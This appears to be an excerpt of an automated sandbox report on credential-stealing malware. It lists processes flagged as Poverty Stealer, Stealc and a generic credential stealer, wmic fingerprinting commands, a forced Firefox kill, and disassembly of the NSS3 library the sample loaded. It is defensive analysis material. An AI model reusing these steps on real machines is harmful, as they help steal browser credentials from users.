Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	16:54:19
Start date:	26/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic path win32_VideoController get name
Imagebase:	0x7ff698ee0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	16:54:19
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	16:54:20
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1009399001\Tq4a1Bz.exe"
Imagebase:	0x580000
File size:	189'568 bytes
MD5 hash:	9C433A245D7737CA7FA17490E460F14E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PovertyStealer, Description: Yara detected Poverty Stealer, Source: 0000002C.00000002.2649456843.000000000067E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	16:54:20
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	16:54:20
Start date:	26/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get UUID
Imagebase:	0x7ff698ee0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	16:54:20
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	16:54:21
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1009399001\Tq4a1Bz.exe"
Imagebase:	0x580000
File size:	189'568 bytes
MD5 hash:	9C433A245D7737CA7FA17490E460F14E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	16:54:21
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1009399001\Tq4a1Bz.exe"
Imagebase:	0x580000
File size:	189'568 bytes
MD5 hash:	9C433A245D7737CA7FA17490E460F14E
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PovertyStealer, Description: Yara detected Poverty Stealer, Source: 00000031.00000002.2691407230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	16:54:30
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1009400001\4edf09f764.exe"
Imagebase:	0x6c0000
File size:	1'907'200 bytes
MD5 hash:	F33C80D517734DD30771A89966179C74
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000032.00000003.2905287999.00000000013D2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000032.00000003.2875598408.00000000013D5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000032.00000003.2915660072.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000032.00000003.2843235733.00000000013D5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000032.00000003.2850540663.00000000013D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000032.00000003.2844588125.00000000013CF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000032.00000003.2874047471.00000000013D2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000032.00000003.2905473008.00000000013D5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000032.00000003.2904758611.00000000013D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000032.00000003.2813617447.00000000013D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	16:54:39
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1009401001\6af0f0d802.exe"
Imagebase:	0x8a0000
File size:	1'824'256 bytes
MD5 hash:	6B1C2CD2EC903E7DEAFEEBDE9BF8FA76
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000033.00000003.2843261065.0000000005270000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000033.00000002.2891886425.00000000008A1000.00000040.00000001.01000000.00000019.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000033.00000002.2898396120.000000000152E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	16:54:45
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1009400001\4edf09f764.exe"
Imagebase:	0x6c0000
File size:	1'907'200 bytes
MD5 hash:	F33C80D517734DD30771A89966179C74
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000034.00000003.3006606623.00000000011E6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000034.00000003.2973573438.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000034.00000003.3014238914.00000000011E6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000034.00000003.2983109130.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000034.00000003.2984067245.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000034.00000003.3083556418.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000034.00000003.3079943383.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000034.00000003.3097259649.00000000011F2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000034.00000003.3097316159.00000000011F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000034.00000003.3045518235.00000000011E7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000034.00000003.2981871461.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000034.00000003.3079842541.00000000011E6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000034.00000003.3046554146.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	16:54:46
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009402001\1623118d84.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1009402001\1623118d84.exe"
Imagebase:	0xdd0000
File size:	922'624 bytes
MD5 hash:	B14552016D4A0E1CED552484ABDDD6AC
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	16:54:47
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x890000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 6CE26E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CF72120,6CE27E60), ref: 6CE26EBC
TlsGetValue.KERNEL32 ref: 6CE26EDF
EnterCriticalSection.KERNEL32(?), ref: 6CE26EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CE26F25

Part of subcall function 6CDFA900: TlsGetValue.KERNEL32(00000000,?,6CF714E4,?,6CD94DD9), ref: 6CDFA90F
Part of subcall function 6CDFA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CDFA94F

PR_Unlock.NSS3 ref: 6CE26F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CE26FA9
TlsGetValue.KERNEL32 ref: 6CE270B4
EnterCriticalSection.KERNEL32(?), ref: 6CE270C8
PR_CallOnce.NSS3(6CF724C0,6CE67590), ref: 6CE27104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE27117
SECOID_Init.NSS3 ref: 6CE27128
PORT_Alloc_Util.NSS3(00000057), ref: 6CE2714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE2717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE271A9
PR_NotifyAllCondVar.NSS3 ref: 6CE271CF
PR_Unlock.NSS3 ref: 6CE271DD
free.MOZGLUE(?), ref: 6CE271EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE27208
free.MOZGLUE(00000000), ref: 6CE27221
free.MOZGLUE(00000001), ref: 6CE27235
TlsGetValue.KERNEL32 ref: 6CE2724A
EnterCriticalSection.KERNEL32(?), ref: 6CE2725E
PR_NotifyCondVar.NSS3 ref: 6CE27273
PR_Unlock.NSS3 ref: 6CE27281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CE27291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE272B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE272D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE272E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE27301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE27310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE27335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE27344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE27363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE27372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CF60148,,defaultModDB,internalKeySlot), ref: 6CE274CC
free.MOZGLUE(00000000), ref: 6CE27513
free.MOZGLUE(00000000), ref: 6CE2751B
free.MOZGLUE(00000000), ref: 6CE27528
free.MOZGLUE(00000000), ref: 6CE2753C
free.MOZGLUE(00000000), ref: 6CE27550
free.MOZGLUE(00000000), ref: 6CE27561
free.MOZGLUE(00000000), ref: 6CE27572
free.MOZGLUE(00000000), ref: 6CE27583
free.MOZGLUE(00000000), ref: 6CE27594
free.MOZGLUE(00000000), ref: 6CE275A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CE275BD
free.MOZGLUE(00000000), ref: 6CE275C8
free.MOZGLUE(00000000), ref: 6CE275F1
PR_NewLock.NSS3 ref: 6CE27636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CE27686
PR_NewLock.NSS3 ref: 6CE276A2

Part of subcall function 6CED98D0: calloc.MOZGLUE(00000001,00000084,6CE00936,00000001,?,6CE0102C), ref: 6CED98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CE276B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CE27707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CE2771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CE27731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CE2774A
DeleteCriticalSection.KERNEL32(?), ref: 6CE27770
free.MOZGLUE(?), ref: 6CE27779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE2779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE277AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CE277C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE277DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CE27821
PORT_Alloc_Util.NSS3(?), ref: 6CE27837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CE2785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE2786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CE278AC
free.MOZGLUE(00000000), ref: 6CE278BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CE278F3
free.MOZGLUE(00000000), ref: 6CE278FC
free.MOZGLUE(00000000), ref: 6CE2791C

Part of subcall function 6CE007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CD9204A), ref: 6CE007AD
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CD9204A), ref: 6CE007CD
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CD9204A), ref: 6CE007D6
Part of subcall function 6CE007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CD9204A), ref: 6CE007E4
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,6CD9204A), ref: 6CE00864
Part of subcall function 6CE007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE00880
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,?,6CD9204A), ref: 6CE008CB
Part of subcall function 6CE007A0: TlsGetValue.KERNEL32(?,?,6CD9204A), ref: 6CE008D7
Part of subcall function 6CE007A0: TlsGetValue.KERNEL32(?,?,6CD9204A), ref: 6CE008FB

Strings

NSS Internal Module, xrefs: 6CE274A2, 6CE274C6
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CE274C7
kbi., xrefs: 6CE27886
,defaultModDB,internalKeySlot, xrefs: 6CE2748D, 6CE274AA
extern:, xrefs: 6CE2772B
dll, xrefs: 6CE2788E
dbm:, xrefs: 6CE27716
rdb:, xrefs: 6CE27744
sql:, xrefs: 6CE276FE
Spac, xrefs: 6CE27389

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: a8028d1c66b0d316a874f41db98a68f934864a8f5d853f2a58ed71e655d52097
Instruction ID: cddb182f5a977c4b3f96cc7b5fe9760a0346a045d1ab2f1a3a3ccc842732ad95
Opcode Fuzzy Hash: a8028d1c66b0d316a874f41db98a68f934864a8f5d853f2a58ed71e655d52097
Instruction Fuzzy Hash: 7C521FB1E10311DBEF119F64DC05BAA7BB4BF0630CF254028EC59A6B41E779D958CBA2

Function 6CE4BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6CE4C0C8

Part of subcall function 6CED9440: LeaveCriticalSection.KERNEL32 ref: 6CED95CD
Part of subcall function 6CED9440: TlsGetValue.KERNEL32 ref: 6CED9622
Part of subcall function 6CED9440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6CED964E

PR_EnterMonitor.NSS3 ref: 6CE4C0AE

Part of subcall function 6CED9090: LeaveCriticalSection.KERNEL32 ref: 6CED91AA
Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED9212
Part of subcall function 6CED9090: _PR_MD_WAIT_CV.NSS3 ref: 6CED926B

Part of subcall function 6CE00600: GetLastError.KERNEL32(?,?,?,?,?,6CE005E2), ref: 6CE00642
Part of subcall function 6CE00600: TlsGetValue.KERNEL32(?,?,?,?,?,6CE005E2), ref: 6CE0065D
Part of subcall function 6CE00600: GetLastError.KERNEL32 ref: 6CE00678
Part of subcall function 6CE00600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CE0068A
Part of subcall function 6CE00600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE00693
Part of subcall function 6CE00600: PR_SetErrorText.NSS3(00000000,?), ref: 6CE0069D
Part of subcall function 6CE00600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,84EE2252,?,?,?,?,?,6CE005E2), ref: 6CE006CA
Part of subcall function 6CE00600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CE005E2), ref: 6CE006E6

PR_EnterMonitor.NSS3 ref: 6CE4C0F2
PR_ExitMonitor.NSS3 ref: 6CE4C10E
PR_ExitMonitor.NSS3 ref: 6CE4C081

Part of subcall function 6CED9440: TlsGetValue.KERNEL32 ref: 6CED945B
Part of subcall function 6CED9440: TlsGetValue.KERNEL32 ref: 6CED9479
Part of subcall function 6CED9440: EnterCriticalSection.KERNEL32 ref: 6CED9495
Part of subcall function 6CED9440: TlsGetValue.KERNEL32 ref: 6CED94E4
Part of subcall function 6CED9440: TlsGetValue.KERNEL32 ref: 6CED9532
Part of subcall function 6CED9440: LeaveCriticalSection.KERNEL32 ref: 6CED955D

PR_EnterMonitor.NSS3 ref: 6CE4C068

Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED90AB
Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED90C9
Part of subcall function 6CED9090: EnterCriticalSection.KERNEL32 ref: 6CED90E5
Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED9116
Part of subcall function 6CED9090: LeaveCriticalSection.KERNEL32 ref: 6CED913F

Part of subcall function 6CE00600: GetProcAddress.KERNEL32(?,?), ref: 6CE00623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6CE4C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6CE4C183
free.MOZGLUE(00000000), ref: 6CE4C18E
PR_LoadLibrary.NSS3(?), ref: 6CE4C1A3
PR_EnterMonitor.NSS3 ref: 6CE4C1D4
PR_ExitMonitor.NSS3 ref: 6CE4C1F3
PR_CallOnce.NSS3(6CF72318,6CE4CA70), ref: 6CE4C210
PR_EnterMonitor.NSS3 ref: 6CE4C22B
PR_ExitMonitor.NSS3 ref: 6CE4C247
PR_EnterMonitor.NSS3 ref: 6CE4C26A
PR_ExitMonitor.NSS3 ref: 6CE4C287
PR_UnloadLibrary.NSS3(?), ref: 6CE4C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6CE4C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CE4C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6CE4C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6CE4C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6CE4C7B5
PR_UnloadLibrary.NSS3(?), ref: 6CE4C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6CE4C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CE4C8BF
PORT_Alloc_Util.NSS3(?), ref: 6CE4C8D5
free.MOZGLUE(00000000), ref: 6CE4C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CE4C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE4C9E5
free.MOZGLUE(00000000), ref: 6CE4CA5A

Strings

nss_mod_log, xrefs: 6CE4C3CC
NSS_DISABLE_UNLOAD, xrefs: 6CE4C7B0
NSC_GetFunctionList, xrefs: 6CE4C093
NSC_GetInterface, xrefs: 6CE4C04F
FC_GetFunctionList, xrefs: 6CE4C098
FC_GetInterface, xrefs: 6CE4C054
PKCS 11, xrefs: 6CE4C2F9, 6CE4C314
NSS_DEBUG_PKCS11_MODULE, xrefs: 6CE4C38D
NSS_ReturnModuleSpecData, xrefs: 6CE4C275
Vendor NSS FIPS Interface, xrefs: 6CE4C34A
NSC_ModuleDBFunc, xrefs: 6CE4C0FC
NSS_FORCE_TOKEN_LOCK, xrefs: 6CE4C77D

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 7ec188c264d06d70220bf7b2a6e24ece75a3d739453475e356a2c1a04e75a6ab
Instruction ID: 7de3d4815331a8753b96a1bc720c72a5425511ff29e895688d8f844dcff2ce07
Opcode Fuzzy Hash: 7ec188c264d06d70220bf7b2a6e24ece75a3d739453475e356a2c1a04e75a6ab
Instruction Fuzzy Hash: F6429EB1F10254DFEB81DF64F84BB5A3BB1BB46308F258028D9059BB21E732D559CBA1

Function 6CF23FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6CF23FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CF23FFE
malloc.MOZGLUE(-00000003), ref: 6CF24016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6CF5FC62), ref: 6CF2404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF2407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF240A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF240D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF24112
malloc.MOZGLUE(00000000), ref: 6CF2411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6CF2414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF24160
free.MOZGLUE(?), ref: 6CF2416C
malloc.MOZGLUE(?), ref: 6CF241AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6CF241EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6CF24520), ref: 6CF24244
GetEnvironmentStrings.KERNEL32 ref: 6CF2424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF24263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF24283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF242B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF242E4
malloc.MOZGLUE(00000002), ref: 6CF242FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CF24342
GetStdHandle.KERNEL32(000000F6), ref: 6CF243AB
GetStdHandle.KERNEL32(000000F5), ref: 6CF243B2
GetStdHandle.KERNEL32(000000F4), ref: 6CF243B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CF24403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF24410

Part of subcall function 6CEBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEBC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6CF2445E
CloseHandle.KERNEL32(?), ref: 6CF2446B
free.MOZGLUE(?), ref: 6CF24482
free.MOZGLUE(00000000), ref: 6CF24492
free.MOZGLUE(00000000), ref: 6CF244A4
GetLastError.KERNEL32 ref: 6CF244B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6CF244BE
free.MOZGLUE(?), ref: 6CF244C7
